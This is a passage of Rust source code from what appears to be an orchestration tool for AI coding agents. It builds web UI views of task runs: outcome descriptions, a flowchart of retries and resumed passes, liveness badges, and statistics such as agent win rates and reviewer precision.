6318                "This run's record could not be read by this build (written by a different \
6319                          magi, or removed), so what kind of attempt it was is unknown."
6320                    .to_owned(),
6321            outcome: String::new(),
6322            created_at: None,
6323            pr: None,
6324            exit: RunExit::Unreadable,
6325            attempt: AttemptCost::Unknown,
6326            exit_label: RunExit::Unreadable.edge_label(None),
6327            later_pass: resumed_later,
6328            pass_n,
6329            passes_of_run,
6330            pass: None,
6331            branch: None,
6332            badge: None,
6333        };
6334    };
6335    let branch = review_branch_of(&s.instruction);
6336    let kind = if resumed {
6337        "resume"
6338    } else if branch.is_some() {
6339        "review"
6340    } else if task.solo || s.candidates.len() == 1 {
6341        "solo"
6342    } else {
6343        "competition"
6344    };
6345    let mut description = match kind {
6346        "resume" => {
6347            format!("Resumed run {short}: the same run carried on instead of competing again.")
6348        }
6349        "review" => format!(
6350            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6351            branch.unwrap_or_default()
6352        ),
6353        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6354        _ => format!(
6355            "Competition: {} candidates judged blind.",
6356            s.candidates.len().max(1)
6357        ),
6358    };
6359    if !resumed && let Some((p, st)) = prior {
6360        description.push_str(&format!(
6361            " A retry: run {p} before it ended {}.",
6362            st.display_label()
6363        ));
6364    }
6365
6366    let status = s.status;
6367    let provisional = matches!(status, RunStatus::Stalled)
6368        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6369    let head = if resumed_later.is_some() {
6370        String::new()
6371    } else {
6372        match status {
6373            RunStatus::Merged => "Merged.".to_owned(),
6374            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6375            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6376            RunStatus::AlreadyInBase => {
6377                "Already in the base: this change landed under other commits, nothing was left to land."
6378                    .to_owned()
6379            }
6380            RunStatus::Stalled => {
6381                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6382                    .to_owned()
6383            }
6384            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6385            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6386            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6387            RunStatus::VerifiedNoop => {
6388                "Verified no-op: the candidates found nothing to change.".to_owned()
6389            }
6390            other if other.done() => format!("Ended {}.", other.display_label()),
6391            other => format!("In progress ({}).", other.display_label()),
6392        }
6393    };
6394    let view = pass.map(|p| PassView::of(p, settled));
6395    let recorded_end = view
6396        .as_ref()
6397        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6398    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6399        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6400        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6401        None => "whether its attempt was handed back was not recorded",
6402    };
6403    let pass_note = if passes_of_run > 1 {
6404        format!(
6405            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6406        )
6407    } else {
6408        String::new()
6409    };
6410    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6411        // The run recorded this pass's end when it happened.
6412        let cause = match v.end {
6413            "parked" => format!("It was stopped on purpose: {}.", v.label),
6414            _ => format!("It {}.", v.label),
6415        };
6416        format!(
6417            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6418            capitalise(cost_words)
6419        )
6420    } else if let Some(k) = resumed_later {
6421        // A run is only picked up again while it is unfinished, so an earlier
6422        // pass of a repeated id stopped short; the record keeps only the run's
6423        // latest status, which is left to the pass that carried it on.
6424        // Only the latest state is recorded: `parked` is cleared on resume
6425        // and `quota` accumulates across passes, so neither says why *this*
6426        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6427        let cause = if s.quota.is_empty() {
6428            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6429        } else {
6430            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6431        };
6432        format!(
6433            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6434        )
6435    } else if s.parked {
6436        match recorded_end.and_then(|v| v.cause.as_ref()) {
6437            Some(cause) => format!(
6438                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6439                cause.label(),
6440                cost_words
6441            ),
6442            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6443                .to_owned(),
6444        }
6445    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6446        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6447    } else if !status.done()
6448        || matches!(
6449            status,
6450            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6451        )
6452    {
6453        String::new()
6454    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6455        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6456    {
6457        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6458            .to_owned()
6459    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6460        " It left a pull request open, so the task was held for a person rather than retried."
6461            .to_owned()
6462    } else if matches!(status, RunStatus::VerifiedNoop) {
6463        " Held for a person to check the claim.".to_owned()
6464    } else if last {
6465        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6466    } else {
6467        " It spent an attempt, and the task moved on to the next run.".to_owned()
6468    };
6469    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6470    let mut attempt = exit.cost();
6471    let mut exit_label = None;
6472    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6473        let spent = match v.cost {
6474            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6475            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6476            None if resumed_later.is_some() => ", refund not recorded",
6477            None => ", attempt refunded",
6478        };
6479        attempt = match v.cost {
6480            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6481            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6482            None if resumed_later.is_some() => AttemptCost::Unknown,
6483            None => attempt,
6484        };
6485        if v.end == "parked" {
6486            exit = RunExit::Parked;
6487            exit_label = Some(match v.cause.as_ref() {
6488                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6489                    format!("parked for {}{spent}", c.label())
6490                }
6491                Some(c) => format!("parked ({}){spent}", c.label()),
6492                None => format!("parked{spent}"),
6493            });
6494        } else {
6495            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6496        }
6497    }
6498    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6499    TaskRunView {
6500        activity: None,
6501        n,
6502        id: id.to_owned(),
6503        short,
6504        kind,
6505        status: Some(status.as_str()),
6506        readable: true,
6507        provisional,
6508        description,
6509        outcome: format!("{head}{why}"),
6510        created_at: Some(s.created_at),
6511        pr: s.pr.as_ref().map(|p| p.url.clone()),
6512        exit,
6513        attempt,
6514        exit_label,
6515        later_pass: resumed_later,
6516        pass_n,
6517        passes_of_run,
6518        pass: view,
6519        branch: branch.map(str::to_owned),
6520        badge: None,
6521    }
6522}
6523
6524fn capitalise(s: &str) -> String {
6525    let mut c = s.chars();
6526    c.next().map_or_else(String::new, |f| {
6527        f.to_uppercase().collect::<String>() + c.as_str()
6528    })
6529}
6530
6531/// One box of the task's flowchart.
6532#[derive(Debug, Serialize, PartialEq)]
6533struct FlowNode {
6534    /// Unique by position: a resumed run id appears once per pass.
6535    key: String,
6536    /// `chat`, `followup`, `start`, `run` or `end`.
6537    kind: &'static str,
6538    label: String,
6539    /// Run status (or the task's, for `end`); `None` when it is not a fact
6540    /// about this box (unreadable, or a pass the run later resumed from).
6541    status: Option<&'static str>,
6542    /// Whose status `status` is, so the client picks the right colour table:
6543    /// `task` (the `followup` parent and `end`) or `run`.
6544    status_of: &'static str,
6545    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6546    note: Option<&'static str>,
6547    run_kind: Option<&'static str>,
6548    detail: Option<String>,
6549    /// A readable run with a real verdict; a stall never is.
6550    decided: bool,
6551    readable: bool,
6552    href: Option<String>,
6553    /// Overrides `status` as the badge word (`stale` / `superseded`).
6554    badge: Option<String>,
6555    /// Start of this entry, never the run's latest update or pass settlement.
6556    started_at: Option<Timestamp>,
6557    /// Context links (chat / follow-up) do not represent execution entries.
6558    time_expected: bool,
6559}
6560
6561#[derive(Debug, Serialize, PartialEq)]
6562struct FlowEdge {
6563    from: String,
6564    to: String,
6565    label: String,
6566    attempt: AttemptCost,
6567}
6568
6569#[derive(Debug, Serialize, PartialEq)]
6570struct FlowView {
6571    nodes: Vec<FlowNode>,
6572    edges: Vec<FlowEdge>,
6573    /// Attempts the task has counted since it was last released.
6574    attempts: usize,
6575    max_attempts: usize,
6576    /// Entries in the run list (passes), and how many distinct runs they are.
6577    /// Neither is the number of attempts consumed.
6578    passes: usize,
6579    runs: usize,
6580}
6581
6582/// Turn a task and its described runs into the flowchart's boxes and arrows.
6583/// Pure: the page only draws what this returns.
6584///
6585/// A follow-up opens with its parent (or the merged run) unless the task's
6586/// *source* is itself a chat, in which case the chat stays first and the
6587/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6588/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6589/// two normally do not coincide and the nearer origin wins.
6590fn task_flow(
6591    task: &Task,
6592    history: &[TaskRunView],
6593    max_attempts: usize,
6594    origin: Option<&FollowUpOrigin>,
6595) -> FlowView {
6596    let max_attempts = task.effective_attempt_limit(max_attempts);
6597    let node = |key: &str, kind, label: String| FlowNode {
6598        key: key.to_owned(),
6599        kind,
6600        label,
6601        status: None,
6602        status_of: "run",
6603        note: None,
6604        run_kind: None,
6605        detail: None,
6606        decided: false,
6607        readable: true,
6608        href: None,
6609        badge: None,
6610        started_at: None,
6611        time_expected: matches!(kind, "start" | "run" | "end"),
6612    };
6613    let mut nodes = Vec::new();
6614    let mut edges: Vec<FlowEdge> = Vec::new();
6615    // A task queued from a chat opens the flow with that conversation.
6616    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6617        let mut n = node(
6618            "chat",
6619            "chat",
6620            format!("Chat {}", crate::queue::short(&link.id)),
6621        );
6622        n.href = Some(link.href);
6623        nodes.push(n);
6624        edges.push(FlowEdge {
6625            from: "chat".to_owned(),
6626            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6627            label: "queued from chat".to_owned(),
6628            attempt: AttemptCost::None,
6629        });
6630    }
6631    if let Some(o) = origin {
6632        let mut n = match &o.parent {
6633            Some(p) => {
6634                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6635                n.status = Some(p.status);
6636                n.status_of = "task";
6637                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6638                n.href = Some(p.href.clone());
6639                n
6640            }
6641            None => {
6642                let mut n = node(
6643                    "origin",
6644                    "followup",
6645                    format!("Follow-up of run {}", o.run.short),
6646                );
6647                n.detail = Some("merged run".to_owned());
6648                n.status = o.run.status;
6649                n.href = o.run.href.clone();
6650                if o.run.href.is_none() {
6651                    n.readable = false;
6652                    n.note = Some("unreadable");
6653                }
6654                n
6655            }
6656        };
6657        n.decided = true;
6658        let from = n.key.clone();
6659        nodes.push(n);
6660        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6661        let more = o.findings.len().saturating_sub(shown.len());
6662        let label = match (shown.is_empty(), more) {
6663            (true, _) => "open findings".to_owned(),
6664            (false, 0) => format!("open findings {}", shown.join(", ")),
6665            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6666        };
6667        edges.push(FlowEdge {
6668            from,
6669            to: "start".to_owned(),
6670            label,
6671            attempt: AttemptCost::None,
6672        });
6673    }
6674    let mut start = node("start", "start", "Task queued".to_owned());
6675    start.started_at = Some(task.created_at);
6676    nodes.push(start);
6677    let mut prev = "start".to_owned();
6678    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6679    for (i, h) in history.iter().enumerate() {
6680        let key = format!("run-{}", h.n);
6681        let mut n = node(&key, "run", format!("Run {}", h.short));
6682        // Creation marks only the first pass of legacy runs. A resumed pass
6683        // without a record must not inherit the original run's start time.
6684        n.started_at = h
6685            .readable
6686            .then(|| {
6687                h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6688                    h.created_at
6689                } else {
6690                    None
6691                })
6692            })
6693            .flatten();
6694        n.run_kind = Some(h.kind);
6695        n.readable = h.readable;
6696        n.href = Some(format!("#/runs/{}", h.id));
6697        n.decided = h.readable && !h.provisional;
6698        n.detail = h
6699            .branch
6700            .as_ref()
6701            .map(|b| format!("review-only run of branch {b}"));
6702        match h.exit {
6703            RunExit::Unreadable => n.note = Some("unreadable"),
6704            RunExit::Interrupted => n.note = Some("interrupted"),
6705            // An earlier pass the run recorded as parked: the status shown
6706            // would be the run's current one, not this pass's.
6707            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6708            _ => {
6709                n.status = h.status;
6710                n.badge = h.badge.clone();
6711                if h.provisional {
6712                    n.note = Some("no verdict");
6713                }
6714            }
6715        }
6716        let into = match h.kind {
6717            "review" => Some(format!(
6718                "review-only run of branch {}",
6719                h.branch.as_deref().unwrap_or("?")
6720            )),
6721            "resume" => Some("resume the same run".to_owned()),
6722            _ if i > 0 => Some("retry".to_owned()),
6723            _ => None,
6724        };
6725        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6726        let label = match (prev_exit, into) {
6727            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6728            (Some((_, l, _)), None) => l,
6729            (None, Some(i)) => i,
6730            (None, None) => "claimed".to_owned(),
6731        };
6732        edges.push(FlowEdge {
6733            from: prev.clone(),
6734            to: key.clone(),
6735            label,
6736            attempt,
6737        });
6738        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6739        prev = key;
6740        nodes.push(n);
6741    }
6742    let mut end = node("end", "end", task.status.as_str().to_owned());
6743    end.status = Some(task.status.as_str());
6744    end.status_of = "task";
6745    // Other task states do not persist their transition start. In particular,
6746    // blocked_at can change while the task remains blocked.
6747    if task.status == TaskStatus::Held {
6748        end.started_at = task.held_at;
6749    }
6750    nodes.push(end);
6751    let (label, attempt) = match prev_exit {
6752        None => (
6753            format!("no run yet \u{2192} {}", task.status.as_str()),
6754            AttemptCost::None,
6755        ),
6756        Some((e, l, cost)) if e.explains(task.status) => {
6757            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6758        }
6759        Some((_, _, cost)) => (
6760            format!("closed by hand: task is {}", task.status.as_str()),
6761            cost,
6762        ),
6763    };
6764    edges.push(FlowEdge {
6765        from: prev,
6766        to: "end".to_owned(),
6767        label,
6768        attempt,
6769    });
6770    FlowView {
6771        nodes,
6772        edges,
6773        attempts: task.attempts,
6774        max_attempts,
6775        passes: history.len(),
6776        runs: distinct_runs(&task.runs),
6777    }
6778}
6779
6780/// How many different run ids a task's run list names.
6781fn distinct_runs(runs: &[String]) -> usize {
6782    let mut seen: Vec<&str> = Vec::new();
6783    for r in runs {
6784        if !seen.contains(&r.as_str()) {
6785            seen.push(r);
6786        }
6787    }
6788    seen.len()
6789}
6790
6791/// Describe recorded task passes, retaining unrecorded legacy list entries.
6792fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6793    let mut slots = Vec::new();
6794    let mut seen = Vec::new();
6795    for run_id in &task.runs {
6796        if seen.contains(&run_id) {
6797            continue;
6798        }
6799        seen.push(run_id);
6800        let state = read(run_id);
6801        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6802            s.passes
6803                .iter()
6804                .filter(|p| {
6805                    p.task_entry
6806                        || task
6807                            .passes
6808                            .iter()
6809                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6810                })
6811                .cloned()
6812                .collect()
6813        });
6814        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6815        let total = legacy_count.max(mine.len());
6816        let offset = total - mine.len();
6817        for k in 0..total {
6818            // Legacy repeated entries retain their original positions. When
6819            // ids are unique, recorded pass times recover the resume order.
6820            let position = task
6821                .runs
6822                .iter()
6823                .enumerate()
6824                .filter(|(_, r)| *r == run_id)
6825                .nth(k.min(legacy_count - 1))
6826                .unwrap()
6827                .0;
6828            slots.push((
6829                run_id,
6830                state.clone(),
6831                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6832                position,
6833            ));
6834        }
6835    }
6836    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6837        slots.sort_by_key(|(_, state, pass, _)| {
6838            pass.as_ref()
6839                .map(|p| p.started_at)
6840                .or_else(|| state.as_ref().map(|s| s.created_at))
6841                .map_or((true, task.created_at), |at| (false, at))
6842        });
6843    } else {
6844        slots.sort_by_key(|(_, _, _, position)| *position);
6845    }
6846    let mut history = Vec::with_capacity(slots.len());
6847    let mut seen: Vec<&str> = Vec::new();
6848    let mut prior: Option<(&str, RunStatus)> = None;
6849    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6850        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6851        let resumed = k > 0;
6852        seen.push(run_id);
6853        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6854        let pass = pass.as_ref();
6855        let settled = pass.and_then(|p| {
6856            task.passes
6857                .iter()
6858                .find(|t| t.run == **run_id && t.pass_index == p.index)
6859        });
6860        history.push(task_run_view(
6861            run_id,
6862            state.as_ref(),
6863            RunSlot {
6864                n: i + 1,
6865                resumed,
6866                resumed_later: slots[i + 1..]
6867                    .iter()
6868                    .position(|(id, _, _, _)| id == run_id)
6869                    .map(|off| i + off + 2),
6870                prior,
6871                last: i + 1 == slots.len(),
6872                pass,
6873                settled,
6874                pass_n: k + 1,
6875                passes_of_run: total,
6876            },
6877            task,
6878        ));
6879        if let Some(s) = &state {
6880            prior = Some((run::short_of(run_id), s.status));
6881        }
6882    }
6883    history
6884}
6885
6886/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6887/// An earlier pass of a resumed run keeps no badge (it has no status box).
6888fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6889    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6890        return;
6891    }
6892    let (_, claimed, _) = run_row_inputs(ui);
6893    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6894    for h in history
6895        .iter_mut()
6896        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6897    {
6898        let Ok(state) = read_run(&ui.runs, &h.id) else {
6899            continue;
6900        };
6901        if state.status.done() {
6902            continue;
6903        }
6904        let live = state.liveness_with(
6905            claimed.contains(&h.id),
6906            |p| probe.borrow_mut().status(p),
6907            |p| probe.borrow_mut().started_at(p),
6908        );
6909        let waiting = !ui.questions.open_for(&h.id).is_empty();
6910        h.activity = Some(crate::run_progress::activity(&state, live, waiting));
6911        let display = run_display_status(&state, waiting, live);
6912        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6913        if matches!(word.as_str(), "stale" | "superseded")
6914            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6915        {
6916            h.badge = Some(word);
6917        }
6918    }
6919}
6920
6921async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6922    blocking(move || {
6923        let id = resolve_task(&ui.queue, &id)?;
6924        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6925    })
6926    .await
6927}
6928
6929async fn task_detail(
6930    State(ui): State<Arc<Ui>>,
6931    Path(id): Path<String>,
6932) -> ApiResult<Json<TaskDetailView>> {
6933    blocking(move || {
6934        let id = resolve_task(&ui.queue, &id)?;
6935        let task = ui
6936            .queue
6937            .get(&id)
6938            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6939        let inv = if task.status == TaskStatus::Blocked {
6940            Some(crate::blockers::Inventory::load_for(
6941                &ui.queue,
6942                &ui.questions,
6943                &task,
6944            ))
6945        } else {
6946            None
6947        };
6948        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6949        mark_badges(&ui, &task, &mut history);
6950        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6951        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6952        let origin = task.followup.as_ref().map(|fu| {
6953            followup_origin(
6954                fu,
6955                |tid| ui.queue.get(tid).ok(),
6956                |rid| read_run(&ui.runs, rid).ok(),
6957            )
6958        });
6959        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6960        let task_view = match inv.as_ref() {
6961            Some(inv) => TaskView::with_inventory(task, inv),
6962            None => TaskView::from(task),
6963        }
6964        .with_recovery_decisions(&ui.questions);
6965        Ok(Json(TaskDetailView {
6966            max_attempts,
6967            flow,
6968            followup_origin: origin,
6969            passes_total: history.len(),
6970            runs_distinct: distinct_runs(&task_view.task.runs),
6971            history,
6972            runs_unreadable,
6973            attempts_note: ATTEMPTS_NOTE,
6974            task: task_view,
6975        }))
6976    })
6977    .await
6978}
6979
6980/// A rate together with its denominator, so the client can tell "computed as
6981/// 0%" apart from "no data to compute it from" — both would otherwise
6982/// serialize as `0.0`. `None` means the denominator was zero.
6983#[derive(Debug, Serialize)]
6984struct RateView {
6985    pct: f64,
6986    denominator: usize,
6987}
6988
6989impl RateView {
6990    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6991        (denominator > 0).then(|| Self {
6992            pct: 100.0 * numerator as f64 / denominator as f64,
6993            denominator,
6994        })
6995    }
6996}
6997
6998/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6999/// rates, each paired with its own denominator via [`RateView`] rather than
7000/// exposing `Stats`' own percentage methods directly — see this module's
7001/// doc for why `Stats` itself is never serialized.
7002#[derive(Debug, Serialize)]
7003struct StatsTotalsView {
7004    runs: usize,
7005    merged: usize,
7006    ready: usize,
7007    blocked: usize,
7008    failed: usize,
7009    stalled: usize,
7010    verified_noop: usize,
7011    superseded: usize,
7012    in_progress: usize,
7013    completion_rate: Option<RateView>,
7014    tallied: usize,
7015    split: usize,
7016    split_rate: Option<RateView>,
7017    deliberated: usize,
7018    minds_changed: usize,
7019    converged: usize,
7020    review_rounds: usize,
7021}
7022
7023impl From<&stats::Totals> for StatsTotalsView {
7024    fn from(t: &stats::Totals) -> Self {
7025        Self {
7026            runs: t.runs,
7027            merged: t.merged,
7028            ready: t.ready,
7029            blocked: t.blocked,
7030            failed: t.failed,
7031            stalled: t.stalled,
7032            verified_noop: t.verified_noop,
7033            superseded: t.superseded,
7034            in_progress: t.in_progress,
7035            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7036            tallied: t.tallied,
7037            split: t.split,
7038            split_rate: RateView::of(t.split, t.tallied),
7039            deliberated: t.deliberated,
7040            minds_changed: t.minds_changed,
7041            converged: t.converged,
7042            review_rounds: t.review_rounds,
7043        }
7044    }
7045}
7046
7047/// [`crate::stats::AgentStats`] for the wire.
7048#[derive(Debug, Serialize)]
7049struct AgentStatsView {
7050    agent: String,
7051    entered: usize,
7052    wins: usize,
7053    empty: usize,
7054    win_rate: Option<RateView>,
7055    competitive_entered: usize,
7056    competitive_wins: usize,
7057    competitive_win_rate: Option<RateView>,
7058    solo_entered: usize,
7059    solo_adopted: usize,
7060    solo_adoption_rate: Option<RateView>,
7061}
7062
7063impl From<&stats::AgentStats> for AgentStatsView {
7064    fn from(a: &stats::AgentStats) -> Self {
7065        Self {
7066            agent: a.agent.clone(),
7067            entered: a.entered,
7068            wins: a.wins,
7069            empty: a.empty,
7070            win_rate: RateView::of(a.wins, a.entered),
7071            competitive_entered: a.competitive_entered,
7072            competitive_wins: a.competitive_wins,
7073            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7074            solo_entered: a.solo_entered,
7075            solo_adopted: a.solo_adopted,
7076            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7077        }
7078    }
7079}
7080
7081/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
7082/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
7083/// value, `None` when `rounds` is zero.
7084#[derive(Debug, Serialize)]
7085struct ReviewerStatsView {
7086    agent: String,
7087    rounds: usize,
7088    seated: usize,
7089    submitted: usize,
7090    adopted: usize,
7091    unique: usize,
7092    timeouts: usize,
7093    adopted_per_round: Option<f64>,
7094    precision: Option<RateView>,
7095    unique_rate: Option<RateView>,
7096    timeout_rate: Option<RateView>,
7097}
7098
7099impl From<&stats::ReviewerStats> for ReviewerStatsView {
7100    fn from(r: &stats::ReviewerStats) -> Self {
7101        Self {
7102            agent: r.agent.clone(),
7103            rounds: r.rounds,
7104            seated: r.seated,
7105            submitted: r.submitted,
7106            adopted: r.adopted,
7107            unique: r.unique,
7108            timeouts: r.timeouts,
7109            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7110            precision: RateView::of(r.adopted, r.submitted),
7111            unique_rate: RateView::of(r.unique, r.submitted),
7112            timeout_rate: RateView::of(r.timeouts, r.seated),
7113        }
7114    }
7115}
7116
7117/// [`crate::stats::AdvisorStats`] for the wire.
7118///
7119/// `reflection_rate` is approximate by construction — see
7120/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
7121/// that caveat is static text in `index.html`, not a field here.
7122#[derive(Debug, Serialize)]
7123struct AdvisorStatsView {
7124    agent: String,
7125    seated: usize,
7126    proposed: usize,
7127    absent: usize,
7128    faint: usize,
7129    strong: usize,
7130    reflection_rate: Option<RateView>,
7131}
7132
7133impl From<&stats::AdvisorStats> for AdvisorStatsView {
7134    fn from(a: &stats::AdvisorStats) -> Self {
7135        Self {
7136            agent: a.agent.clone(),
7137            seated: a.seated,
7138            proposed: a.proposed,
7139            absent: a.absent,
7140            faint: a.faint,
7141            strong: a.strong,
7142            reflection_rate: RateView::of(a.strong, a.proposed),
7143        }
7144    }
7145}
7146
7147/// [`crate::stats::E2eStats`] for the wire.
7148#[derive(Debug, Serialize)]
7149struct E2eStatsView {
7150    rounds: usize,
7151    failures: usize,
7152    sole_detections: usize,
7153    deferred: usize,
7154    sole_rate: Option<RateView>,
7155}
7156
7157impl From<&stats::E2eStats> for E2eStatsView {
7158    fn from(e: &stats::E2eStats) -> Self {
7159        Self {
7160            rounds: e.rounds,
7161            failures: e.failures,
7162            sole_detections: e.sole_detections,
7163            deferred: e.deferred,
7164            sole_rate: RateView::of(e.sole_detections, e.failures),
7165        }
7166    }
7167}
7168
7169/// [`crate::stats::ReleaseBumpStats`] for the wire.
7170///
7171/// `clean` is sent as a raw count, computed the same way
7172/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
7173/// needs_attention`) — never derived client-side from `automerge_enabled`,
7174/// which would misclassify a `merged_directly` bump (automerge rejected, but
7175/// magi merged it directly, so no human involvement) as needing attention.
7176#[derive(Debug, Serialize)]
7177struct ReleaseBumpStatsView {
7178    merged: usize,
7179    recorded: usize,
7180    pr_opened: usize,
7181    automerge_enabled: usize,
7182    merged_directly: usize,
7183    needs_attention: usize,
7184    clean: usize,
7185    coverage_rate: Option<RateView>,
7186    automerge_rate: Option<RateView>,
7187    attention_rate: Option<RateView>,
7188}
7189
7190impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7191    fn from(b: &stats::ReleaseBumpStats) -> Self {
7192        Self {
7193            merged: b.merged,
7194            recorded: b.recorded,
7195            pr_opened: b.pr_opened,
7196            automerge_enabled: b.automerge_enabled,
7197            merged_directly: b.merged_directly,
7198            needs_attention: b.needs_attention,
7199            clean: b.clean(),
7200            coverage_rate: RateView::of(b.recorded, b.merged),
7201            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7202            attention_rate: RateView::of(b.needs_attention, b.recorded),
7203        }
7204    }
7205}
7206
7207/// [`crate::queue::TaskCounts`] for the wire.
7208#[derive(Debug, Serialize)]
7209struct TaskCountsView {
7210    queued: usize,
7211    running: usize,
7212    done: usize,
7213    failed: usize,
7214    held: usize,
7215    blocked: usize,
7216    parked: usize,
7217}
7218
7219impl From<crate::queue::TaskCounts> for TaskCountsView {
7220    fn from(c: crate::queue::TaskCounts) -> Self {
7221        Self {
7222            queued: c.queued,
7223            running: c.running,
7224            done: c.done,
7225            failed: c.failed,
7226            held: c.held,
7227            blocked: c.blocked,
7228            parked: c.parked,
7229        }
7230    }
7231}
7232
7233/// [`crate::stats::RepoStats`] for the wire, one row per repository with
7234/// runs recorded — the summary the UI's repository selector is built from.
7235/// Carries no nested `Stats`: picking a repo means re-fetching
7236/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
7237/// aggregation rather than duplicating it.
7238#[derive(Debug, Serialize)]
7239struct RepoSummaryView {
7240    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
7241    /// against, full path and all (see [`stats_get`]'s own doc for why).
7242    repo: String,
7243    /// Display name only; never used for matching.
7244    name: String,
7245    runs: usize,
7246    completion_rate: Option<RateView>,
7247}
7248
7249impl From<&stats::RepoStats> for RepoSummaryView {
7250    fn from(r: &stats::RepoStats) -> Self {
7251        let t = &r.stats.totals;
7252        Self {
7253            repo: r.repo.to_string_lossy().into_owned(),
7254            name: r.name.clone(),
7255            runs: t.runs,
7256            completion_rate: RateView::of(t.merged + t.ready, t.runs),
7257        }
7258    }
7259}
7260
7261/// `GET /api/stats` - the whole answer. `Stats` itself carries no
7262/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
7263/// renders from them) are free to grow without that becoming a wire-contract
7264/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
